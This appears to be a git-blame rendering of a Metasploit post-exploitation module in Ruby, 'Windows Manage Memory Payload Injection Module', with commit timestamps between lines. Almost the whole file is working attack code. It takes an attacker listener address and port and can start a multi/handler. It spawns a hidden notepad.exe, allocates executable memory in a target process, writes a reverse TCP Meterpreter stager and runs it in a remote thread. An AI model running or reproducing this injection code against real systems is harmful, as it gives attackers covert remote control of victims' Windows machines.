2011-10-12 23:18:07 +00:00
|
|
|
##
|
|
|
|
# ## This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-10-12 23:18:07 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
2013-07-02 19:48:04 +00:00
|
|
|
require 'msf/core/post/common'
|
2011-10-12 23:18:07 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2013-07-02 19:48:04 +00:00
|
|
|
include Msf::Post::Common
|
|
|
|
|
2011-10-12 23:18:07 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2011-11-06 22:02:26 +00:00
|
|
|
'Name' => 'Windows Manage Memory Payload Injection Module',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will inject into the memory of a process a specified windows payload.
|
|
|
|
If a payload or process is not provided one will be created by default
|
|
|
|
using a reverse x86 TCP Meterpreter Payload.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
2012-10-23 18:33:01 +00:00
|
|
|
'Platform' => [ 'win' ],
|
2011-11-06 22:02:26 +00:00
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
|
2011-10-12 23:18:07 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2011-10-17 03:49:49 +00:00
|
|
|
OptString.new('PAYLOAD',
|
2011-10-12 23:18:07 +00:00
|
|
|
[false, 'Windows Payload to inject into memory of a process.',
|
|
|
|
"windows/meterpreter/reverse_tcp"]),
|
2011-10-17 03:49:49 +00:00
|
|
|
OptAddress.new('LHOST',
|
2011-10-12 23:18:07 +00:00
|
|
|
[true, 'IP of host that will receive the connection from the payload.']),
|
2011-10-17 03:49:49 +00:00
|
|
|
OptInt.new('LPORT',
|
2011-10-12 23:18:07 +00:00
|
|
|
[false, 'Port for Payload to connect to.', 4433]),
|
2011-10-17 03:49:49 +00:00
|
|
|
OptInt.new('PID',
|
2011-10-12 23:18:07 +00:00
|
|
|
[false, 'Process Identifier to inject of process to inject payload.']),
|
2011-10-17 03:49:49 +00:00
|
|
|
OptBool.new('HANDLER',
|
2011-10-12 23:18:07 +00:00
|
|
|
[ false, 'Start an Exploit Multi Handler to receive the connection', false]),
|
|
|
|
OptString.new('OPTIONS',
|
|
|
|
[false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format.",
|
|
|
|
""])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
# Run Method for when run command is issued
|
|
|
|
def run
|
|
|
|
# syinfo is only on meterpreter sessions
|
|
|
|
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
|
|
|
|
|
|
|
|
# Check that the payload is a Windows one and on the list
|
|
|
|
if not session.framework.payloads.keys.grep(/windows/).include?(datastore['PAYLOAD'])
|
|
|
|
print_error("The Payload specified #{datastore['PAYLOAD']} is not a valid for this system")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Set variables
|
|
|
|
pay_name = datastore['PAYLOAD']
|
|
|
|
lhost = datastore['LHOST']
|
|
|
|
lport = datastore['LPORT']
|
|
|
|
pid = datastore['PID']
|
|
|
|
opts = datastore['OPTIONS']
|
|
|
|
# Create payload
|
|
|
|
payload = create_payload(pay_name,lhost,lport,opts)
|
2013-07-02 19:48:04 +00:00
|
|
|
if pid == 0 or not has_pid?(pid)
|
2011-10-12 23:18:07 +00:00
|
|
|
pid = create_temp_proc(payload)
|
|
|
|
end
|
|
|
|
if payload.arch.join =~ /64/ and client.platform =~ /x86/
|
|
|
|
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
|
|
|
|
print_error("Migrate to an x64 process and try again.")
|
|
|
|
return false
|
|
|
|
else
|
|
|
|
create_multihand(payload,pay_name,lhost,lport) if datastore['HANDLER']
|
|
|
|
inject_into_pid(payload,pid,datastore['NEWPROCESS'])
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Method for checking if a listner for a given IP and port is present
|
|
|
|
# will return true if a conflict exists and false if none is found
|
|
|
|
def check_for_listner(lhost,lport)
|
|
|
|
conflict = false
|
|
|
|
client.framework.jobs.each do |k,j|
|
|
|
|
if j.name =~ / multi\/handler/
|
|
|
|
current_id = j.jid
|
|
|
|
current_lhost = j.ctx[0].datastore["LHOST"]
|
|
|
|
current_lport = j.ctx[0].datastore["LPORT"]
|
|
|
|
if lhost == current_lhost and lport == current_lport.to_i
|
|
|
|
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
|
|
|
|
conflict = true
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return conflict
|
|
|
|
end
|
|
|
|
|
|
|
|
# Create a payload given a name, lhost and lport, additional options
|
|
|
|
def create_payload(name, lhost, lport, opts = "")
|
|
|
|
pay = client.framework.payloads.create(name)
|
|
|
|
pay.datastore['LHOST'] = lhost
|
|
|
|
pay.datastore['LPORT'] = lport
|
|
|
|
if not opts.empty?
|
|
|
|
opts.split(",").each do |o|
|
2011-11-08 15:14:00 +00:00
|
|
|
opt,val = o.split("=",2)
|
2011-10-12 23:18:07 +00:00
|
|
|
pay.datastore[opt] = val
|
|
|
|
end
|
|
|
|
end
|
|
|
|
# Validate the options for the module
|
|
|
|
pay.options.validate(pay.datastore)
|
|
|
|
return pay
|
|
|
|
end
|
|
|
|
|
|
|
|
# Starts a multi/handler session
|
|
|
|
def create_multihand(pay,pay_name,lhost,lport)
|
|
|
|
print_status("Starting exploit multi handler")
|
|
|
|
if not check_for_listner(lhost,lport)
|
|
|
|
# Set options for module
|
|
|
|
mul = client.framework.exploits.create("multi/handler")
|
|
|
|
mul.share_datastore(pay.datastore)
|
|
|
|
mul.datastore['WORKSPACE'] = client.workspace
|
|
|
|
mul.datastore['PAYLOAD'] = pay_name
|
|
|
|
mul.datastore['EXITFUNC'] = 'thread'
|
|
|
|
mul.datastore['ExitOnSession'] = false
|
|
|
|
# Validate module options
|
|
|
|
mul.options.validate(mul.datastore)
|
|
|
|
# Execute showing output
|
|
|
|
mul.exploit_simple(
|
|
|
|
'Payload' => mul.datastore['PAYLOAD'],
|
|
|
|
'LocalInput' => self.user_input,
|
|
|
|
'LocalOutput' => self.user_output,
|
|
|
|
'RunAsJob' => true
|
|
|
|
)
|
|
|
|
else
|
|
|
|
print_error("Could not start handler!")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Checks the Architeture of a Payload and PID are compatible
|
|
|
|
# Returns true if they are false if they are not
|
|
|
|
def arch_check(pay,pid)
|
|
|
|
# get the pid arch
|
|
|
|
client.sys.process.processes.each do |p|
|
|
|
|
# Check Payload Arch
|
|
|
|
if pid == p["pid"]
|
|
|
|
print_status("Process found checking Architecture")
|
|
|
|
if pay.arch.join == p['arch']
|
|
|
|
print_good("Process is the same architecture as the payload")
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
print_error("The PID #{ p['arch']} and Payload #{pay.arch.join} architectures are different.")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Creates a temp notepad.exe to inject payload in to given the payload
|
|
|
|
# Returns process PID
|
|
|
|
def create_temp_proc(pay)
|
|
|
|
windir = client.fs.file.expand_path("%windir%")
|
|
|
|
# Select path of executable to run depending the architecture
|
2011-10-23 23:47:54 +00:00
|
|
|
if pay.arch.join == "x86" and client.platform =~ /x86/
|
2011-10-12 23:18:07 +00:00
|
|
|
cmd = "#{windir}\\System32\\notepad.exe"
|
2011-10-23 23:47:54 +00:00
|
|
|
elsif pay.arch.join == "x86_64" and client.platform =~ /x64/
|
|
|
|
cmd = "#{windir}\\System32\\notepad.exe"
|
|
|
|
elsif pay.arch.join == "x86_64" and client.platform =~ /x86/
|
2011-10-12 23:18:07 +00:00
|
|
|
cmd = "#{windir}\\Sysnative\\notepad.exe"
|
2011-10-23 23:47:54 +00:00
|
|
|
elsif pay.arch.join == "x86" and client.platform =~ /x64/
|
|
|
|
cmd = "#{windir}\\SysWOW64\\notepad.exe"
|
2011-10-12 23:18:07 +00:00
|
|
|
end
|
|
|
|
# run hidden
|
|
|
|
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
|
|
|
return proc.pid
|
|
|
|
end
|
|
|
|
|
|
|
|
def inject_into_pid(pay,pid,newproc)
|
|
|
|
print_status("Performing Architecture Check")
|
|
|
|
# If architecture check fails and a new process is wished to inject to one with the proper arch
|
|
|
|
# will be created
|
2011-10-17 03:49:49 +00:00
|
|
|
if arch_check(pay,pid)
|
2011-10-12 23:18:07 +00:00
|
|
|
pid = create_temp_proc(pay) if newproc
|
|
|
|
print_status("Injecting #{pay.name} into process ID #{pid}")
|
|
|
|
begin
|
2011-10-24 01:12:38 +00:00
|
|
|
print_status("Opening process #{pid}")
|
2011-10-12 23:18:07 +00:00
|
|
|
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
2011-10-24 01:12:38 +00:00
|
|
|
print_status("Generating payload")
|
2011-10-12 23:18:07 +00:00
|
|
|
raw = pay.generate
|
2011-10-24 01:12:38 +00:00
|
|
|
print_status("Allocating memory in procees #{pid}")
|
2011-10-12 23:18:07 +00:00
|
|
|
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
|
|
|
|
# Ensure memory is set for execution
|
|
|
|
host_process.memory.protect(mem)
|
|
|
|
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
|
|
|
|
print_status("Writing the stager into memory...")
|
|
|
|
host_process.memory.write(mem, raw)
|
|
|
|
host_process.thread.create(mem, 0)
|
|
|
|
print_good("Successfully injected payload in to process: #{pid}")
|
2011-12-24 21:11:26 +00:00
|
|
|
rescue ::Exception => e
|
2011-10-12 23:18:07 +00:00
|
|
|
print_error("Failed to Inject Payload to #{pid}!")
|
2011-12-24 21:11:26 +00:00
|
|
|
print_error(e.to_s)
|
2011-10-12 23:18:07 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2011-10-17 03:49:49 +00:00
|
|
|
end
|